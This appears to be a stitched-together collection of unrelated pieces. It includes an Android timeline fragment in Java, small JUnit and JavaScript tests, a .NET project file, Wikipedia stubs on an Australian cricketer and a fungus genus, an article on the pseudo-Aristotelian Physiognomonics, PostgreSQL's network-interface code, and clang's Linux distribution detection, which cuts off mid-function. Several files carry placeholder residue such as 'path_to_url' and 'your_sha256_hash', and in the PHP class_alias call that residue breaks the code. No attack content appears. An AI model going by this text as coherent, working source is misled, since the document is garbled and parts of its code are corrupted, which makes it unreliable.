public void setBuilder() {
}
public boolean toTopPressed = false;
public void toTop() {
toTopPressed = true;
showStatusBar();
hideToastBar(300);
try {
if (listView.getFirstVisiblePosition() > 40) {
listView.setSelection(0);
} else {
listView.smoothScrollToPosition(0);
}
} catch (Exception e) {
listView.smoothScrollToPosition(0);
}
}
public void onRefreshStarted() {
//mPullToRefreshLayout.setRefreshing(true);
getCursorAdapter(false);
}
public abstract void getCursorAdapter(boolean showSpinner);
public int toDP(int px) {
try {
return (int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, px, getResources().getDisplayMetrics());
} catch (Exception e) {
return px;
}
}
public Handler upHandler;
public Handler downHandler;
public boolean emptyUpHandler = true;
public boolean emptyDownHandler = true;
public void scrollUp() {
if (upHandler == null) {
upHandler = new Handler();
downHandler = new Handler();
}
downHandler.removeCallbacksAndMessages(null);
emptyDownHandler = true;
setMoveActionBar();
if (emptyUpHandler) {
emptyUpHandler = false;
upHandler.postDelayed(new Runnable() {
@Override
public void run() {
if (moveActionBar) {
hideStatusBar();
}
MainActivity.sendHandler.removeCallbacks(null);
MainActivity.sendHandler.post(MainActivity.hideSend);
hideToastBar(300);
}
}, 300);
}
}
public void scrollDown() {
if (upHandler == null) {
upHandler = new Handler();
downHandler = new Handler();
}
upHandler.removeCallbacksAndMessages(null);
emptyUpHandler = true;
setMoveActionBar();
if (emptyDownHandler) {
emptyDownHandler = false;
downHandler.postDelayed(new Runnable() {
@Override
public void run() {
if (moveActionBar) {
showStatusBar();
}
MainActivity.sendHandler.removeCallbacks(null);
MainActivity.sendHandler.post(MainActivity.showSend);
int first = listView.getFirstVisiblePosition();
if (first > 3) {
showToastBar(first + " " + fromTop, jumpToTop, 300, false, toTopListener);
}
}
}, 300);
}
toastDescription.setText(listView.getFirstVisiblePosition() + " " + fromTop);
}
public void showStatusBar() {
if (getActivity() != null) {
((MainActivity)getActivity()).showBars();
}
}
public void hideStatusBar() {
if (getActivity() != null) {
((MainActivity)getActivity()).hideBars();
}
}
public void setUpToastBar(View view) {
toastBar = view.findViewById(R.id.toastBar);
toastDescription = (TextView) view.findViewById(R.id.toastDescription);
toastButton = (TextView) view.findViewById(R.id.toastButton);
toastButton.setTextColor(settings.themeColors.accentColorLight);
if (!Utils.hasNavBar(getActivity()) ||
(landscape && !getResources().getBoolean(R.bool.isTablet))) {
toastBar.setTranslationY(Utils.toDP(48, getActivity()));
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
toastBar.setElevation(Utils.toDP(6, getActivity()));
}
try {
View toastBackground = view.findViewById(R.id.toast_background);
Display display = getActivity().getWindowManager().getDefaultDisplay();
Point size = new Point();
display.getSize(size);
int width = size.x;
// fab is 20 margin right and 72 width, so max size of the toast should be screen_width - 20 - 20 - 72,
// then - 20 more for the left margin on the background
int maxSize = width - Utils.toDP(132, context);
int textSize = Utils.toDP(250, context); // size needed to fit "NO NEW TWEETS"
ViewGroup.LayoutParams params = toastBackground.getLayoutParams();
if (maxSize < textSize) {
params.width = maxSize;
} else {
params.width = textSize;
}
} catch (Exception e) {
}
}
protected boolean overrideSnackbarSetting = false;
public Handler removeToastHandler;
public void showToastBar(String description, String buttonText, final long length, final boolean quit, View.OnClickListener listener) {
if (removeToastHandler == null) {
removeToastHandler = new Handler();
} else if (!overrideSnackbarSetting) {
removeToastHandler.removeCallbacksAndMessages(null);
}
if (!settings.useSnackbar && !overrideSnackbarSetting) {
return;
}
if (description.toLowerCase().equals("0 tweets")) {
hideToastBar(0);
return;
}
toastDescription.setText(description);
toastButton.setText(buttonText);
toastButton.setOnClickListener(listener);
isToastShowing = true;
if (toastBar.getVisibility() != View.VISIBLE) {
toastBar.setVisibility(View.VISIBLE);
Animation anim = AnimationUtils.loadAnimation(context, R.anim.slide_in_right);
anim.setAnimationListener(new Animation.AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
if (quit) {
infoBar = true;
}
}
@Override
public void onAnimationEnd(Animation animation) {
if (quit) {
removeToastHandler.postDelayed(new Runnable() {
@Override
public void run() {
hideToastBar(length);
infoBar = false;
}
}, 3000);
}
}
@Override
public void onAnimationRepeat(Animation animation) {
}
});
anim.setDuration(length);
toastBar.startAnimation(anim);
ObjectAnimator toastBarAlpha = ObjectAnimator.ofFloat(toastBar, View.ALPHA, 0f, 1f);
toastBarAlpha.setDuration(length);
toastBarAlpha.setInterpolator(anim.getInterpolator());
toastBarAlpha.start();
}
}
public void hideToastBar(long length) {
if (!isToastShowing || (!settings.useSnackbar && !overrideSnackbarSetting)) {
return;
}
overrideSnackbarSetting = false;
if (removeToastHandler == null) {
removeToastHandler.removeCallbacksAndMessages(null);
}
Animation anim = AnimationUtils.loadAnimation(context, R.anim.fade_out);
anim.setAnimationListener(new Animation.AnimationListener() {
@Override
public void onAnimationStart(Animation animation) {
isToastShowing = false;
}
@Override
public void onAnimationEnd(Animation animation) {
toastBar.setVisibility(View.GONE);
}
@Override
public void onAnimationRepeat(Animation animation) {
}
});
anim.setDuration(length);
toastBar.startAnimation(anim);
}
public void updateToastText(String text) {
toastDescription.setText(text);
}
public boolean allowBackPress() {
if (cursorAdapter != null) {
cursorAdapter.stopOnScroll();
}
if (expansionHelper != null) {
if (expansionHelper.hidePopups()) {
return false;
}
}
if (background != null) {
background.performClick();
return false;
}
return true;
}
private int expandedDistanceFromTop = 0;
private View background;
private ExpansionViewHelper expansionHelper;
@Override
public void expandViewOpen(int distanceFromTop, int position, View root, ExpansionViewHelper helper) {
if (landscape) {
distanceFromTop = distanceFromTop + Utils.getStatusBarHeight(context) * 2;
}
background = root;
expansionHelper = helper;
expandedDistanceFromTop = distanceFromTop;
if (!settings.staticUi) {
MainActivity.sendHandler.removeCallbacks(null);
MainActivity.sendHandler.post(MainActivity.hideSend);
if (moveActionBar)
hideStatusBar();
}
hideToastBar(300);
listView.smoothScrollBy(distanceFromTop, TimeLineCursorAdapter.ANIMATION_DURATION);
}
@Override
public void expandViewClosed(int currentDistanceFromTop) {
background = null;
expansionHelper = null;
if (!settings.staticUi) {
MainActivity.sendHandler.removeCallbacks(null);
MainActivity.sendHandler.post(MainActivity.showSend);
showStatusBar();
}
if (currentDistanceFromTop != -1) {
listView.smoothScrollBy(
-1 * expandedDistanceFromTop + currentDistanceFromTop,
TimeLineCursorAdapter.ANIMATION_DURATION
);
}
}
}
```
|
```java
package tech.tablesaw.api;
import static org.junit.jupiter.api.Assertions.*;
import org.junit.jupiter.api.Test;
class CategoricalColumnTest {
@Test
void testCountByCategory1() {
IntColumn column = IntColumn.create("test");
column.append(1).append(2).appendMissing().append(4);
assertEquals(4, column.countByCategory().nCol("Count").sum());
}
}
```
|
```xml
<Project Sdk="Microsoft.NET.Sdk">
<ItemGroup>
<None Remove="JsonFiles\MetricsOptions.json" />
<None Remove="xunit.runner.json" />
</ItemGroup>
<ItemGroup>
<Content Include="JsonFiles\MetricsOptions.json">
<CopyToOutputDirectory>Always</CopyToOutputDirectory>
</Content>
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\..\src\App.Metrics.Extensions.Configuration\App.Metrics.Extensions.Configuration.csproj" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="Microsoft.Extensions.Configuration.Json" Version="3.0.0" />
</ItemGroup>
</Project>
```
|
Thomas Stewart Rogers (born 3 March 1994) is an Australian cricketer. He is a right-arm fast bowler.
Rogers was in the Futures League for the ACT Comets from the 2013–14 season to the 2016–17 season. He was offered a contract for Tasmania for the 2017–18 season. He made his List A debut for Tasmania in the 2017–18 JLT One-Day Cup on 7 October 2017. In March 2018, Cricket Australia named Rogers in their Sheffield Shield team of the year.
He made his Twenty20 debut for Hobart Hurricanes in the 2017–18 Big Bash League season on 30 December 2017. He switched to the Sydney Sixers in 2020–2021, back to the Hurricanes in 2021–2022, and to the Melbourne Renegades in 2022–2023.
Rogers holds an Education and Arts degrees from the University of New South Wales and is a qualified secondary school teacher.
References
External links
Australian cricketers
1994 births
Living people
Tasmania cricketers
Hobart Hurricanes cricketers
Sportspeople from Canberra
|
```php
<?php
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
*/
namespace Google\Service\Document;
class GoogleCloudDocumentaiUiv1beta3UndeployProcessorVersionResponse extends \Google\Model
{
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(GoogleCloudDocumentaiUiv1beta3UndeployProcessorVersionResponse::class, your_sha256_hashocessorVersionResponse');
```
|
```javascript
import assert from 'assert';
import scoreLinkText from './score-link-text';
describe('scoreLinkText(linkText)', () => {
it('returns 8 if link contains the num 2', () => {
assert.equal(scoreLinkText('2', 0), 8);
});
it('returns 5 if link contains the num 5', () => {
assert.equal(scoreLinkText('5', 0), 5);
});
it('returns -30 if link contains the number 1', () => {
assert.equal(scoreLinkText('1', 0), -30);
});
it('penalizes -50 if pageNum is >= link text as num', () => {
assert.equal(scoreLinkText('4', 5), -44);
});
});
```
|
```c
/*your_sha256_hash---------
*
* ifaddr.c
* IP netmask calculations, and enumerating network interfaces.
*
*
*
* IDENTIFICATION
* src/backend/libpq/ifaddr.c
*
* This file and the IPV6 implementation were initially provided by
* Nigel Kukard <nkukard@lbsd.net>, Linux Based Systems Design
* path_to_url
*
*your_sha256_hash---------
*/
#include "postgres.h"
#include <unistd.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#ifdef HAVE_NETINET_TCP_H
#include <netinet/tcp.h>
#endif
#include <sys/file.h>
#include "libpq/ifaddr.h"
#include "port/pg_bswap.h"
static int range_sockaddr_AF_INET(const struct sockaddr_in *addr,
const struct sockaddr_in *netaddr,
const struct sockaddr_in *netmask);
#ifdef HAVE_IPV6
static int range_sockaddr_AF_INET6(const struct sockaddr_in6 *addr,
const struct sockaddr_in6 *netaddr,
const struct sockaddr_in6 *netmask);
#endif
/*
* pg_range_sockaddr - is addr within the subnet specified by netaddr/netmask ?
*
* Note: caller must already have verified that all three addresses are
* in the same address family; and AF_UNIX addresses are not supported.
*/
int
pg_range_sockaddr(const struct sockaddr_storage *addr,
const struct sockaddr_storage *netaddr,
const struct sockaddr_storage *netmask)
{
if (addr->ss_family == AF_INET)
return range_sockaddr_AF_INET((const struct sockaddr_in *) addr,
(const struct sockaddr_in *) netaddr,
(const struct sockaddr_in *) netmask);
#ifdef HAVE_IPV6
else if (addr->ss_family == AF_INET6)
return range_sockaddr_AF_INET6((const struct sockaddr_in6 *) addr,
(const struct sockaddr_in6 *) netaddr,
(const struct sockaddr_in6 *) netmask);
#endif
else
return 0;
}
static int
range_sockaddr_AF_INET(const struct sockaddr_in *addr,
const struct sockaddr_in *netaddr,
const struct sockaddr_in *netmask)
{
if (((addr->sin_addr.s_addr ^ netaddr->sin_addr.s_addr) &
netmask->sin_addr.s_addr) == 0)
return 1;
else
return 0;
}
#ifdef HAVE_IPV6
static int
range_sockaddr_AF_INET6(const struct sockaddr_in6 *addr,
const struct sockaddr_in6 *netaddr,
const struct sockaddr_in6 *netmask)
{
int i;
for (i = 0; i < 16; i++)
{
if (((addr->sin6_addr.s6_addr[i] ^ netaddr->sin6_addr.s6_addr[i]) &
netmask->sin6_addr.s6_addr[i]) != 0)
return 0;
}
return 1;
}
#endif /* HAVE_IPV6 */
/*
* pg_sockaddr_cidr_mask - make a network mask of the appropriate family
* and required number of significant bits
*
* numbits can be null, in which case the mask is fully set.
*
* The resulting mask is placed in *mask, which had better be big enough.
*
* Return value is 0 if okay, -1 if not.
*/
int
pg_sockaddr_cidr_mask(struct sockaddr_storage *mask, char *numbits, int family)
{
long bits;
char *endptr;
if (numbits == NULL)
{
bits = (family == AF_INET) ? 32 : 128;
}
else
{
bits = strtol(numbits, &endptr, 10);
if (*numbits == '\0' || *endptr != '\0')
return -1;
}
switch (family)
{
case AF_INET:
{
struct sockaddr_in mask4;
long maskl;
if (bits < 0 || bits > 32)
return -1;
memset(&mask4, 0, sizeof(mask4));
/* avoid "x << 32", which is not portable */
if (bits > 0)
maskl = (0xffffffffUL << (32 - (int) bits))
& 0xffffffffUL;
else
maskl = 0;
mask4.sin_addr.s_addr = pg_hton32(maskl);
memcpy(mask, &mask4, sizeof(mask4));
break;
}
#ifdef HAVE_IPV6
case AF_INET6:
{
struct sockaddr_in6 mask6;
int i;
if (bits < 0 || bits > 128)
return -1;
memset(&mask6, 0, sizeof(mask6));
for (i = 0; i < 16; i++)
{
if (bits <= 0)
mask6.sin6_addr.s6_addr[i] = 0;
else if (bits >= 8)
mask6.sin6_addr.s6_addr[i] = 0xff;
else
{
mask6.sin6_addr.s6_addr[i] =
(0xff << (8 - (int) bits)) & 0xff;
}
bits -= 8;
}
memcpy(mask, &mask6, sizeof(mask6));
break;
}
#endif
default:
return -1;
}
mask->ss_family = family;
return 0;
}
/*
* Run the callback function for the addr/mask, after making sure the
* mask is sane for the addr.
*/
static void
run_ifaddr_callback(PgIfAddrCallback callback, void *cb_data,
struct sockaddr *addr, struct sockaddr *mask)
{
struct sockaddr_storage fullmask;
if (!addr)
return;
/* Check that the mask is valid */
if (mask)
{
if (mask->sa_family != addr->sa_family)
{
mask = NULL;
}
else if (mask->sa_family == AF_INET)
{
if (((struct sockaddr_in *) mask)->sin_addr.s_addr == INADDR_ANY)
mask = NULL;
}
#ifdef HAVE_IPV6
else if (mask->sa_family == AF_INET6)
{
if (IN6_IS_ADDR_UNSPECIFIED(&((struct sockaddr_in6 *) mask)->sin6_addr))
mask = NULL;
}
#endif
}
/* If mask is invalid, generate our own fully-set mask */
if (!mask)
{
pg_sockaddr_cidr_mask(&fullmask, NULL, addr->sa_family);
mask = (struct sockaddr *) &fullmask;
}
(*callback) (addr, mask, cb_data);
}
#ifdef WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
/*
* Enumerate the system's network interface addresses and call the callback
* for each one. Returns 0 if successful, -1 if trouble.
*
* This version is for Win32. Uses the Winsock 2 functions (ie: ws2_32.dll)
*/
int
pg_foreach_ifaddr(PgIfAddrCallback callback, void *cb_data)
{
INTERFACE_INFO *ptr,
*ii = NULL;
unsigned long length,
i;
unsigned long n_ii = 0;
SOCKET sock;
int error;
sock = WSASocket(AF_INET, SOCK_DGRAM, 0, 0, 0, 0);
if (sock == INVALID_SOCKET)
return -1;
while (n_ii < 1024)
{
n_ii += 64;
ptr = realloc(ii, sizeof(INTERFACE_INFO) * n_ii);
if (!ptr)
{
free(ii);
closesocket(sock);
errno = ENOMEM;
return -1;
}
ii = ptr;
if (WSAIoctl(sock, SIO_GET_INTERFACE_LIST, 0, 0,
ii, n_ii * sizeof(INTERFACE_INFO),
&length, 0, 0) == SOCKET_ERROR)
{
error = WSAGetLastError();
if (error == WSAEFAULT || error == WSAENOBUFS)
continue; /* need to make the buffer bigger */
closesocket(sock);
free(ii);
return -1;
}
break;
}
for (i = 0; i < length / sizeof(INTERFACE_INFO); ++i)
run_ifaddr_callback(callback, cb_data,
(struct sockaddr *) &ii[i].iiAddress,
(struct sockaddr *) &ii[i].iiNetmask);
closesocket(sock);
free(ii);
return 0;
}
#elif HAVE_GETIFADDRS /* && !WIN32 */
#ifdef HAVE_IFADDRS_H
#include <ifaddrs.h>
#endif
/*
* Enumerate the system's network interface addresses and call the callback
* for each one. Returns 0 if successful, -1 if trouble.
*
* This version uses the getifaddrs() interface, which is available on
* BSDs, AIX, and modern Linux.
*/
int
pg_foreach_ifaddr(PgIfAddrCallback callback, void *cb_data)
{
struct ifaddrs *ifa,
*l;
if (getifaddrs(&ifa) < 0)
return -1;
for (l = ifa; l; l = l->ifa_next)
run_ifaddr_callback(callback, cb_data,
l->ifa_addr, l->ifa_netmask);
freeifaddrs(ifa);
return 0;
}
#else /* !HAVE_GETIFADDRS && !WIN32 */
#include <sys/ioctl.h>
#ifdef HAVE_NET_IF_H
#include <net/if.h>
#endif
#ifdef HAVE_SYS_SOCKIO_H
#include <sys/sockio.h>
#endif
/*
* SIOCGIFCONF does not return IPv6 addresses on Solaris
* and HP/UX. So we prefer SIOCGLIFCONF if it's available.
*
* On HP/UX, however, it *only* returns IPv6 addresses,
* and the structs are named slightly differently too.
* We'd have to do another call with SIOCGIFCONF to get the
* IPv4 addresses as well. We don't currently bother, just
* fall back to SIOCGIFCONF on HP/UX.
*/
#if defined(SIOCGLIFCONF) && !defined(__hpux)
/*
* Enumerate the system's network interface addresses and call the callback
* for each one. Returns 0 if successful, -1 if trouble.
*
* This version uses ioctl(SIOCGLIFCONF).
*/
int
pg_foreach_ifaddr(PgIfAddrCallback callback, void *cb_data)
{
struct lifconf lifc;
struct lifreq *lifr,
lmask;
struct sockaddr *addr,
*mask;
char *ptr,
*buffer = NULL;
size_t n_buffer = 1024;
pgsocket sock,
fd;
#ifdef HAVE_IPV6
pgsocket sock6;
#endif
int i,
total;
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == PGINVALID_SOCKET)
return -1;
while (n_buffer < 1024 * 100)
{
n_buffer += 1024;
ptr = realloc(buffer, n_buffer);
if (!ptr)
{
free(buffer);
close(sock);
errno = ENOMEM;
return -1;
}
memset(&lifc, 0, sizeof(lifc));
lifc.lifc_family = AF_UNSPEC;
lifc.lifc_buf = buffer = ptr;
lifc.lifc_len = n_buffer;
if (ioctl(sock, SIOCGLIFCONF, &lifc) < 0)
{
if (errno == EINVAL)
continue;
free(buffer);
close(sock);
return -1;
}
/*
* Some Unixes try to return as much data as possible, with no
* indication of whether enough space allocated. Don't believe we have
* it all unless there's lots of slop.
*/
if (lifc.lifc_len < n_buffer - 1024)
break;
}
#ifdef HAVE_IPV6
/* We'll need an IPv6 socket too for the SIOCGLIFNETMASK ioctls */
sock6 = socket(AF_INET6, SOCK_DGRAM, 0);
if (sock6 == PGINVALID_SOCKET)
{
free(buffer);
close(sock);
return -1;
}
#endif
total = lifc.lifc_len / sizeof(struct lifreq);
lifr = lifc.lifc_req;
for (i = 0; i < total; ++i)
{
addr = (struct sockaddr *) &lifr[i].lifr_addr;
memcpy(&lmask, &lifr[i], sizeof(struct lifreq));
#ifdef HAVE_IPV6
fd = (addr->sa_family == AF_INET6) ? sock6 : sock;
#else
fd = sock;
#endif
if (ioctl(fd, SIOCGLIFNETMASK, &lmask) < 0)
mask = NULL;
else
mask = (struct sockaddr *) &lmask.lifr_addr;
run_ifaddr_callback(callback, cb_data, addr, mask);
}
free(buffer);
close(sock);
#ifdef HAVE_IPV6
close(sock6);
#endif
return 0;
}
#elif defined(SIOCGIFCONF)
/*
* Remaining Unixes use SIOCGIFCONF. Some only return IPv4 information
* here, so this is the least preferred method. Note that there is no
* standard way to iterate the struct ifreq returned in the array.
* On some OSs the structures are padded large enough for any address,
* on others you have to calculate the size of the struct ifreq.
*/
/* Some OSs have _SIZEOF_ADDR_IFREQ, so just use that */
#ifndef _SIZEOF_ADDR_IFREQ
/* Calculate based on sockaddr.sa_len */
#ifdef HAVE_STRUCT_SOCKADDR_SA_LEN
#define _SIZEOF_ADDR_IFREQ(ifr) \
((ifr).ifr_addr.sa_len > sizeof(struct sockaddr) ? \
(sizeof(struct ifreq) - sizeof(struct sockaddr) + \
(ifr).ifr_addr.sa_len) : sizeof(struct ifreq))
/* Padded ifreq structure, simple */
#else
#define _SIZEOF_ADDR_IFREQ(ifr) \
sizeof (struct ifreq)
#endif
#endif /* !_SIZEOF_ADDR_IFREQ */
/*
* Enumerate the system's network interface addresses and call the callback
* for each one. Returns 0 if successful, -1 if trouble.
*
* This version uses ioctl(SIOCGIFCONF).
*/
int
pg_foreach_ifaddr(PgIfAddrCallback callback, void *cb_data)
{
struct ifconf ifc;
struct ifreq *ifr,
*end,
addr,
mask;
char *ptr,
*buffer = NULL;
size_t n_buffer = 1024;
pgsocket sock;
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock == PGINVALID_SOCKET)
return -1;
while (n_buffer < 1024 * 100)
{
n_buffer += 1024;
ptr = realloc(buffer, n_buffer);
if (!ptr)
{
free(buffer);
close(sock);
errno = ENOMEM;
return -1;
}
memset(&ifc, 0, sizeof(ifc));
ifc.ifc_buf = buffer = ptr;
ifc.ifc_len = n_buffer;
if (ioctl(sock, SIOCGIFCONF, &ifc) < 0)
{
if (errno == EINVAL)
continue;
free(buffer);
close(sock);
return -1;
}
/*
* Some Unixes try to return as much data as possible, with no
* indication of whether enough space allocated. Don't believe we have
* it all unless there's lots of slop.
*/
if (ifc.ifc_len < n_buffer - 1024)
break;
}
end = (struct ifreq *) (buffer + ifc.ifc_len);
for (ifr = ifc.ifc_req; ifr < end;)
{
memcpy(&addr, ifr, sizeof(addr));
memcpy(&mask, ifr, sizeof(mask));
if (ioctl(sock, SIOCGIFADDR, &addr, sizeof(addr)) == 0 &&
ioctl(sock, SIOCGIFNETMASK, &mask, sizeof(mask)) == 0)
run_ifaddr_callback(callback, cb_data,
&addr.ifr_addr, &mask.ifr_addr);
ifr = (struct ifreq *) ((char *) ifr + _SIZEOF_ADDR_IFREQ(*ifr));
}
free(buffer);
close(sock);
return 0;
}
#else /* !defined(SIOCGIFCONF) */
/*
* Enumerate the system's network interface addresses and call the callback
* for each one. Returns 0 if successful, -1 if trouble.
*
* This version is our fallback if there's no known way to get the
* interface addresses. Just return the standard loopback addresses.
*/
int
pg_foreach_ifaddr(PgIfAddrCallback callback, void *cb_data)
{
struct sockaddr_in addr;
struct sockaddr_storage mask;
#ifdef HAVE_IPV6
struct sockaddr_in6 addr6;
#endif
/* addr 127.0.0.1/8 */
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = pg_ntoh32(0x7f000001);
memset(&mask, 0, sizeof(mask));
pg_sockaddr_cidr_mask(&mask, "8", AF_INET);
run_ifaddr_callback(callback, cb_data,
(struct sockaddr *) &addr,
(struct sockaddr *) &mask);
#ifdef HAVE_IPV6
/* addr ::1/128 */
memset(&addr6, 0, sizeof(addr6));
addr6.sin6_family = AF_INET6;
addr6.sin6_addr.s6_addr[15] = 1;
memset(&mask, 0, sizeof(mask));
pg_sockaddr_cidr_mask(&mask, "128", AF_INET6);
run_ifaddr_callback(callback, cb_data,
(struct sockaddr *) &addr6,
(struct sockaddr *) &mask);
#endif
return 0;
}
#endif /* !defined(SIOCGIFCONF) */
#endif /* !HAVE_GETIFADDRS */
```
|
Dictyocephalos is a genus of fungi in the family Phelloriniaceae of the order Agaricales. The genus is monotypic, and contains the single species Dictyocephalos attenuatus, described by the American botanist Lucien Marcus Underwood in 1901 (as D. curvatus).
References
External links
Agaricales
Monotypic Agaricales genera
|
Physiognomonics (; ) is an Ancient Greek pseudo-Aristotelian treatise on physiognomy attributed to Aristotle (and part of the Corpus Aristotelicum).
Ancient physiognomy before the Physiognomonics
Although Physiognomonics is the earliest work surviving in Greek devoted to the subject, texts preserved on clay tablets provide evidence of physiognomy manuals from the First Babylonian dynasty, containing divinatory case studies of the ominous significance of various bodily dispositions. At this point physiognomy is "a specific, already theorized, branch of knowledge" and the heir of a long-developed technical tradition.
While loosely physiognomic ways of thinking are present in Greek literature as early as Homer, physiognomy proper is not known before the classical period. The term physiognomonia first appears in the fifth-century BC Hippocratic treatise Epidemics (II.5.1). Physiognomy was mentioned in a work by Antisthenes on the Sophists, which provides evidence of its recognition as an art (techne).
In Aristotle's time, physiognomics was acknowledged as an art (techne) with its own skilled practitioners (technitai), as we see from a reference in Generation of Animals (IV.3): Then people say that the child has the head of a ram or a bull, and so on with other animals, as that a calf has the head of a child or a sheep that of an ox. All these monsters result from the causes stated above, but they are none of the things they are said to be; there is only some similarity, such as may arise even where there is no defect of growth. Hence often jesters compare someone who is not beautiful to a goat breathing fire, or again to a ram butting, and a certain physiognomist reduced all faces to those of two or three animals, and his arguments often prevailed on people. (trans. Pratt rev. Barnes)
Already in antiquity, physiognomy's pretensions to a "scientific" foundation were questioned and debated. It had connections to medicine, but also to magic and divination.
The treatise
Structure and content
The treatise is divided into sections on theory (805a1-808b10) and method (808b11-814b9). The connections between bodily features and character are treated in detail, cataloguing, for example, twelve kinds of nose, and the distinctive features of the cinaedus.
Connections to Aristotle
The pseudo-Aristotelian treatise begins with an allusion to Aristotle's Prior Analytics (II.27, on the body-soul correlation), and many of the physiognomic connections discussed are mentioned specifically in the History of Animals.
Influence
The author's systematic scheme of physiognomic relationships was not adopted by later writers on the subject; the proliferation of incompatible teachings had "the cumulative effect of undermining the authority of the profession as a whole."
Notes
References
T. Corey Brennan, "Review: [Aristoteles] Physiognomonica, edited by S. Vogt", Classical World 99.2 (2006), pp. 202-203.
Giampiera Raina (trans. and comm.), Pseudo Aristotele: Fisiognomica; Anonimo Latino: Il trattato di fisiognomica, 2nd ed., Milan: Biblioteca Universale Rizzoli, 1994.
Further reading
Sabine Vogt (trans. and comm.), Aristoteles: Physiognomonica, Berlin: Akademie Verlag, 1999,
External links
Greek texts: Immanuel Bekker's text available via Greco interattivo; Richard Foerster's 1893 Teubner edition via Google Books
English translation of E.S. Forster and T. Loveday in The Works of Aristotle, Oxford, 1913
Physiognomy
Ancient Greek pseudepigrapha
Works by Aristotle
|
```c++
//===--- Distro.cpp - Linux distribution detection support ------*- C++ -*-===//
//
// See path_to_url for license information.
//
//===your_sha256_hash------===//
#include "clang/Driver/Distro.h"
#include "clang/Basic/LLVM.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/ADT/StringSwitch.h"
#include "llvm/ADT/Triple.h"
#include "llvm/Support/ErrorOr.h"
#include "llvm/Support/Host.h"
#include "llvm/Support/MemoryBuffer.h"
#include "llvm/Support/Threading.h"
using namespace clang::driver;
using namespace clang;
static Distro::DistroType DetectOsRelease(llvm::vfs::FileSystem &VFS) {
llvm::ErrorOr<std::unique_ptr<llvm::MemoryBuffer>> File =
VFS.getBufferForFile("/etc/os-release");
if (!File)
File = VFS.getBufferForFile("/usr/lib/os-release");
if (!File)
return Distro::UnknownDistro;
SmallVector<StringRef, 16> Lines;
File.get()->getBuffer().split(Lines, "\n");
Distro::DistroType Version = Distro::UnknownDistro;
// Obviously this can be improved a lot.
for (StringRef Line : Lines)
if (Version == Distro::UnknownDistro && Line.startswith("ID="))
Version = llvm::StringSwitch<Distro::DistroType>(Line.substr(3))
.Case("alpine", Distro::AlpineLinux)
.Case("fedora", Distro::Fedora)
.Case("gentoo", Distro::Gentoo)
.Case("arch", Distro::ArchLinux)
// On SLES, /etc/os-release was introduced in SLES 11.
.Case("sles", Distro::OpenSUSE)
.Case("opensuse", Distro::OpenSUSE)
.Case("exherbo", Distro::Exherbo)
.Default(Distro::UnknownDistro);
return Version;
}
static Distro::DistroType DetectLsbRelease(llvm::vfs::FileSystem &VFS) {
llvm::ErrorOr<std::unique_ptr<llvm::MemoryBuffer>> File =
VFS.getBufferForFile("/etc/lsb-release");
if (!File)
return Distro::UnknownDistro;
SmallVector<StringRef, 16> Lines;
File.get()->getBuffer().split(Lines, "\n");
Distro::DistroType Version = Distro::UnknownDistro;
for (StringRef Line : Lines)
if (Version == Distro::UnknownDistro &&
Line.startswith("DISTRIB_CODENAME="))
Version = llvm::StringSwitch<Distro::DistroType>(Line.substr(17))
.Case("hardy", Distro::UbuntuHardy)
.Case("intrepid", Distro::UbuntuIntrepid)
.Case("jaunty", Distro::UbuntuJaunty)
.Case("karmic", Distro::UbuntuKarmic)
.Case("lucid", Distro::UbuntuLucid)
.Case("maverick", Distro::UbuntuMaverick)
.Case("natty", Distro::UbuntuNatty)
.Case("oneiric", Distro::UbuntuOneiric)
.Case("precise", Distro::UbuntuPrecise)
.Case("quantal", Distro::UbuntuQuantal)
.Case("raring", Distro::UbuntuRaring)
.Case("saucy", Distro::UbuntuSaucy)
.Case("trusty", Distro::UbuntuTrusty)
.Case("utopic", Distro::UbuntuUtopic)
.Case("vivid", Distro::UbuntuVivid)
.Case("wily", Distro::UbuntuWily)
.Case("xenial", Distro::UbuntuXenial)
.Case("yakkety", Distro::UbuntuYakkety)
.Case("zesty", Distro::UbuntuZesty)
.Case("artful", Distro::UbuntuArtful)
.Case("bionic", Distro::UbuntuBionic)
.Case("cosmic", Distro::UbuntuCosmic)
.Case("disco", Distro::UbuntuDisco)
.Case("eoan", Distro::UbuntuEoan)
.Case("focal", Distro::UbuntuFocal)
.Case("groovy", Distro::UbuntuGroovy)
.Case("hirsute", Distro::UbuntuHirsute)
.Case("impish", Distro::UbuntuImpish)
.Case("jammy", Distro::UbuntuJammy)
.Case("kinetic", Distro::UbuntuKinetic)
.Case("lunar", Distro::UbuntuLunar)
.Default(Distro::UnknownDistro);
return Version;
}
static Distro::DistroType DetectDistro(llvm::vfs::FileSystem &VFS) {
Distro::DistroType Version = Distro::UnknownDistro;
// Newer freedesktop.org's compilant systemd-based systems
// should provide /etc/os-release or /usr/lib/os-release.
Version = DetectOsRelease(VFS);
if (Version != Distro::UnknownDistro)
return Version;
// Older systems might provide /etc/lsb-release.
Version = DetectLsbRelease(VFS);
if (Version != Distro::UnknownDistro)
return Version;
// Otherwise try some distro-specific quirks for RedHat...
llvm::ErrorOr<std::unique_ptr<llvm::MemoryBuffer>> File =
VFS.getBufferForFile("/etc/redhat-release");
if (File) {
StringRef Data = File.get()->getBuffer();
if (Data.startswith("Fedora release"))
return Distro::Fedora;
if (Data.startswith("Red Hat Enterprise Linux") ||
Data.startswith("CentOS") || Data.startswith("Scientific Linux")) {
if (Data.contains("release 7"))
return Distro::RHEL7;
else if (Data.contains("release 6"))
return Distro::RHEL6;
else if (Data.contains("release 5"))
return Distro::RHEL5;
}
return Distro::UnknownDistro;
}
// ...for Debian
File = VFS.getBufferForFile("/etc/debian_version");
if (File) {
StringRef Data = File.get()->getBuffer();
// Contents: < major.minor > or < codename/sid >
int MajorVersion;
